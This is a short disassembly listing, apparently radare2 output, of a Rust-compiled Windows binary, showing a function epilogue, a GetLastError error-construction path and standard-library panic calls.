add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rbx, rbx
jne 0x140009979
jmp 0x140009991
lea rcx, [0x14002925b]
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140024280
jmp 0x1400099fa
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.140024670
ud2